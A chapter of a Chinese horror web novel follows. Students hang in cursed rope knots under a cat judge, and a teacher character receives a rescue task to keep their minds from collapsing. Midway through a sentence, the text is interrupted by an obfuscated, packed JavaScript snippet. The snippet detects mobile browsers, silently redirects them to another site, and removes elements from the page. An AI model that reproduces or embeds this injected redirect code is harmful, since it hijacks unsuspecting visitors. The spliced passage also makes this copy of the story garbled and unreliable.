他艰难地扭动脖颈,骨骼发出轻微的“咔”声,目光由近及远,扫过每个人身上绳结的位置、颜色、勒入的深度,大脑飞速运转,试图在绝望中寻找一丝规律或破绽。 夏铭双臂被反剪在背后,绳索将她吊得笔直僵硬,如同被钉上十字架的殉道者。 她身上只有两个结,一个深紫色的死结,深深嵌在锁骨与胸椎形成的胸骨上窝凹陷处,勒得那片白皙的皮肉充血通红。 另一个玫红色的活结,则刁钻地卡在她纤细腰侧的软肋位置,随着她压抑的呼吸微微起伏。 魏莱的脖子被粗糙的绳圈套住,如同待决的囚徒,四肢以违反人体工学的角度被绳索纠缠捆扎。 三个墨黑色的活结,一个像绞索般紧扣颈动脉,另外两个则如同沉重的脚镣,死死缠在纤细的脚踝上,随着她抑制不住的细微颤抖,那结也在诡异地微微搏动。 童话痛苦地蜷缩成一团,像个被强行塞回母体的绝望胎儿。 五个暗绿色的绳结如同汲取生命的丑陋藤蔓,紧紧缠绕在她的小腹和腰侧,深深勒进皮肉,勾勒出令人心悸的凹陷,几乎要将她拦腰截断。 周昌南四肢被粗暴地拉伸成大字型,粗壮的肌肉在绳索的束缚下贲张扭曲。 七个土黄色的绳结,像野蛮的攻城槌,死死“钉”在他的手腕、手肘、膝盖和脚踝关节处,每一次他无意识的挣扎,都带来骨骼不堪重负的“咯啦”弹响,听得人牙酸。 秦狩的身体被强行向后弯折,腰椎弓起一个痛苦到极致的弧度,额头冷汗涔涔。 六个赤红色的绳结,如同烧红的烙铁烙印,又像狰狞的百足蜈蚣,盘踞在他的后腰和整条脊背中央,随着他艰难的呼吸起伏蠕动,仿佛在啃噬骨髓。 刘立涛则被绳索从头到脚笔直地捆扎包裹,活像一具等待解剖的僵硬木乃伊。 八个惨白色的绳结,如同凝固的脓疮,密密麻麻覆盖了他躯干的大部分区域——胸口、腹部、肩胛……散发出令人窒息的冰冷绝望。 每一个人的处境,都明晃晃的昭示着凶险。 官酉的心沉甸甸坠向谷底,目光带着一丝不易察觉的忧虑,微微后移,落在刘楚恬身上。 小小的身影蜷缩得比童话更厉害,几乎被完全折叠。 她的身体几乎被密密麻麻的死灰色绳结完全淹没了。 那些绳结如同贪婪的尸虫,疯狂地攀爬、缠绕、勒紧在她的腰腹、手臂、大腿,甚至纤细脆弱的脖颈也。 每一个结都深深陷入皮肉,绳索边缘的皮肤被挤压成不祥的青紫色。 “她到底背负了什么?或者说,这游戏判定她‘承载’了什么?才会招致如此密集的‘清算’?” 官酉的眉头几不可察地蹙紧了一瞬,冰冷的镜片后掠过一丝凝重。 他缓缓收回目光,当眼角余光掠过章著金的瞬间,呼吸猛地一滞! 章著金同样被悬吊着,姿态却透着一股令人心头发冷的闲适。 他微微垂首,长而卷曲的发丝遮掩了部分表情,但关键的是——他身上一个绳结都没有! 那暗红色的绳索只是如同装饰性的缎带,松散地缠绕着他修长的身体,勾勒出流畅的线条,而非致命的束缚。 他甚至还饶有兴致地用未被束缚的指尖,轻轻拨弄着绕在臂弯的一截绳索! 就好似这场名为“直面本真”的残酷试炼,于他而言,只是一场无聊的戏剧前排观光。 “格老子的!”周昌南的怒吼如同平地惊雷,打破了死寂的平衡。 他被关节处的绳结折磨得双眼赤红,额角青筋暴跳如雷。 “放你娘的屁!这叫试胆?这他妈是阎王殿上抽生死签!还‘直面本真’?老子看是扒皮抽筋!” “这么多鬼结!哪个天杀的是真的?” “钥匙?钥匙个锤子!解不开就得被勒成肉酱!操他妈的黑色一星!怪不得进去十个死九个半!” 他疯狂地扭动着身体,试图挣脱腕部的束缚。 土黄色的绳结摩擦着皮肤,发出令人牙酸的“吱嘎”声。 腕骨肉眼可见地变形,但他似乎感觉不到疼痛,只有被死亡威胁逼到绝境的狂躁。 “闭嘴!蠢货!” 一声比周昌南的咆哮更冷、更厉的呵斥,如同冰水兜头浇下,瞬间压过了他的狂躁。 是刘立涛。 “嚎丧能让你活命?再他妈乱动触发更多陷阱,老子第一个把你那身蠢肉剁碎了喂绳结!” 赤裸裸的死亡威胁混着刘立涛身上特有的森冷气息撞向周昌南,周昌南猛地一哆嗦,似乎冷静了下来。 他的目光躲躲闪闪,脖子上的青筋兀自跳动,嘴里不甘地咕哝着:“你……你他妈吓唬谁……” 橘猫似乎对这场小小的冲突毫不在意,它只是看向周昌南的方向,眼皮极其轻微地一眨。琥珀色的瞳孔深处,一道冰冷流光流转而过。 下一秒,变故陡生! “呃啊——!” 周昌南猛地爆发出比之前更凄厉十倍的惨叫。 只见他身上那七个土黄色的绳结中央,毫无征兆地分叉出一股股细如发丝、却坚韧异常的暗红色麻线! 这些麻线如同嗅到血腥的活蛇,以超越视觉捕捉的速度,“嗖嗖”破空向前飞射! 不仅仅是周昌南! 几乎是同一瞬间! 所有束缚着受刑者的绳结核心,都同步分叉出同样的暗红麻线! 成百上千条细密的暗红丝线,如同被无形巨手操控的提线,从四面八方激射向大厅中央。 它们在空中高速穿梭、交叠、缠绕、打结。 速度快得只能看见一片猩红残影。 眨眼之间! 一个巨大、复杂到令人头晕目眩、散发着浓郁不祥与死亡气息的暗红色“死结”,凭空出现在大厅正中央。 它并非静止,而是在缓慢地、如同一个畸形的活体心脏般,搏动、收缩。 每一次收缩,都仿佛抽紧了所有受刑者身上的绳索,带来一阵窒息般的勒痛。 无数细小的、仿佛由凝固的暗红血液构成的扭曲文字,在巨大死结的结体表面明灭不定、疯狂闪烁,如同亿万只怨毒的眼睛。 “啊——!” “心脏!滴血的心脏!” “它在看我!” 尖叫声与倒抽冷气声瞬间此起彼伏,充满了极致的恐惧。 几个精神脆弱的学员几乎要当场崩溃。 官酉立刻将脸上的眼镜切换到教师眼镜的“墨镜”模式,眼前的景象让他这个见惯了实验室冰冷数据的人也忍不住跟着倒吸一口凉气。 在其他学员眼中那颗搏动滴血的恐怖心脏,在他此刻的视野里,呈现为一个由无数暗红数据流和能量脉络构成的、高度压缩的、散发着毁灭性波动的核心!这玩意儿蕴含的能量,绝对能瞬间抹杀他们所有人! 橘猫歪了歪毛茸茸的脑袋,下一句冰冷宣判已无缝衔接:“失败的力量自然不会单独吞噬向自己,他们会如同瘟疫一般,顺着麻绳侵蚀所有人心防,放大恐惧,削弱意识稳定。” 它说着,毛茸茸的尾巴尖在虚空中轻轻一点。 唰! 九个半透明的幽蓝色数据面板,瞬间浮现在每个悬吊者的身侧。 面板中央,一个鲜红的数字正在疯狂跳动——【意识稳定度(%)】。 “当稳定度低于10%……”橘猫的声音听着依旧毫无起伏,却比寒风更刺骨,“你们的意识就会被永远留下,化成绳索的养料。” 官酉的心瞬间坠入谷底。 低于10%会即刻抹杀。 且一人崩溃引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933218|172298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发的连锁反应会像雪崩一样席卷所有人。 但课堂要求减员小于等于三人…… 眼前这局面,别说三人,团灭就在瞬息之间! 他必须稳住,至少在这个环节,绝不可以出现减员! “周昌南!别乱动!” 夏铭冷厉带着急促的声音骤然响起。 但已经迟了! 周昌南早已被身上的七个绳结折磨得理智尽失,又被刘立涛的威胁和眼前滴血的“心脏”刺激得彻底狂乱。 他瞪着离自己右手腕最近的那个土黄色绳结,眼中血丝密布,喉咙里发出极低沉的嘶吼:“妈的!钥匙!钥匙肯定在这里!老子赌了!给老子开——!” 吼声未落,他竟真不顾一切地强行将被束缚的的左手死命扯起,染血的指尖狠狠戳向那枚土黄色的绳结缝隙! “蠢货!住手!” 秦狩目眦欲裂的怒斥与橘猫冰冷无情的宣判声骤然重叠,响彻大厅。 “选择错误!开启真话考验:河堤之下,埋骨何名?” 周昌南状若疯魔,两根指头不顾剧痛死命抠挖着绳结:“河堤?!河堤底下除了他妈的烂泥巴和石头,还能埋啥?!难道埋金子吗?!操!” “嗡——!!!” 他触碰的那枚土黄色绳结猛地爆发出刺目欲盲的昏黄光芒。 一股肉眼可见的、带着浓郁土腥味和淡淡血腥气的浑浊尘埃,以他为中心,如同爆炸的冲击波般轰然炸开,瞬间席卷整个大厅! “回答错误。名讳未明,罪责难消。” 橘猫冰冷的裁决如同丧钟。 “呃啊啊啊啊——!!!” 周昌南的惨叫凄厉得变了调。 接触绳结的食指和中指瞬间发出令人牙酸的“咔嚓”脆响,以一种诡异的角度向内反折、扭曲变形。 鲜血混合着骨茬从裂口迸溅而出! 而他右手腕上那枚被触碰的土黄色绳结,如同被激怒的毒蛇,骤然爆发出恐怖的收缩力! 硬生生又向皮肉深处勒进去半分! 清晰的尺桡骨骨裂声让所有人头皮发麻! 但这仅仅是灾难的开端! 那爆炸开的、蕴含了错误答案怨念与周昌南血肉气息的浑浊尘埃,如同致命的瘟疫孢子,飞速扩散弥漫,沾染上每一个悬吊者的身体,侵入他们的精神! 连锁崩塌开始了! 刘楚恬身侧的数据面板数值如同遭遇雪崩:87%……73%……59%……48%……! 数字跳动的红光几乎连成一片! 她猛地瞪大涣散的双眼,瞳孔瞬间扩散到极致,喉咙里发出“嗬…嗬…”抽气声,身体像被瞬间抽掉了所有骨头和意识般彻底软瘫下去。 悬挂的绳索深深勒入她青紫的脖颈,纤细的颈骨发出不堪重负的呻吟,意识如同狂风中的残烛,随时熄灭! 魏莱颈间的墨黑绳结搏动骤然加剧,如同疯狂吞咽的喉管。 她的数值也从55%一路暴跌至30%! 眼神彻底涣散,身体筛糠般剧烈抖动,口水不受控制地从嘴角淌下,仿佛癫痫发作。 童话蜷缩得更紧,发出幼兽般的呜咽,五个暗绿绳结仿佛活了过来,勒得她胸骨凹陷,数值在15%的红色警戒线上疯狂跳动,濒临崩溃。 就连意志相对坚定的夏铭和秦狩,数据也再次猛跌了十多个百分点。 夏铭闷哼一声,嘴角溢出一丝鲜血,强行咬住下唇才没晕厥过去,被反剪的手臂皮肤因剧烈的神经性痉挛而不断跳动。 秦狩脸色铁青,后腰的赤红绳结颜色变得更加深暗灼热。 官酉也遭受重击。 脖颈处那冰冷的绳结瞬间变得如同烧红的烙铁,狠狠地碾压过他细嫩的皮肤,印下寸寸红痕。 他的眼前瞬间被一片猩红和扭曲的色块覆盖,尖锐的耳鸣几乎刺穿鼓膜、 【意识稳定度:58%】 冷汗如瀑,瞬间浸透了他后背的衣物,带来刺骨的冰凉。 【嘀嘀嘀滴!检测到学员意识稳定度集体崩溃!】 【突发任务:意识屏障再构筑】 【任务描述:学员意识稳定度岌岌可危!悬崖边缘!请伟大的实习教师官酉立刻行动,力挽狂澜!不惜一切代价,将全体存活学员意识稳定度强行拉回并维持在10%警戒线以上!】 【重复,10%是生存底线!】 【任务奖励:基础奖励50积分!每成功维持一名学员意识稳定至任务结束,额外奖励5积分!】 【(当前存活学员:8人,潜在最高奖励:50+40=90积分)】 【失败惩罚:若有任何一名学员意识稳定度归零,视为该学员死亡。若因此导致全员意识稳定度归零,或最终存活学员不足最低课堂要求,则视为教师严重失格,抹杀程序即时启动!】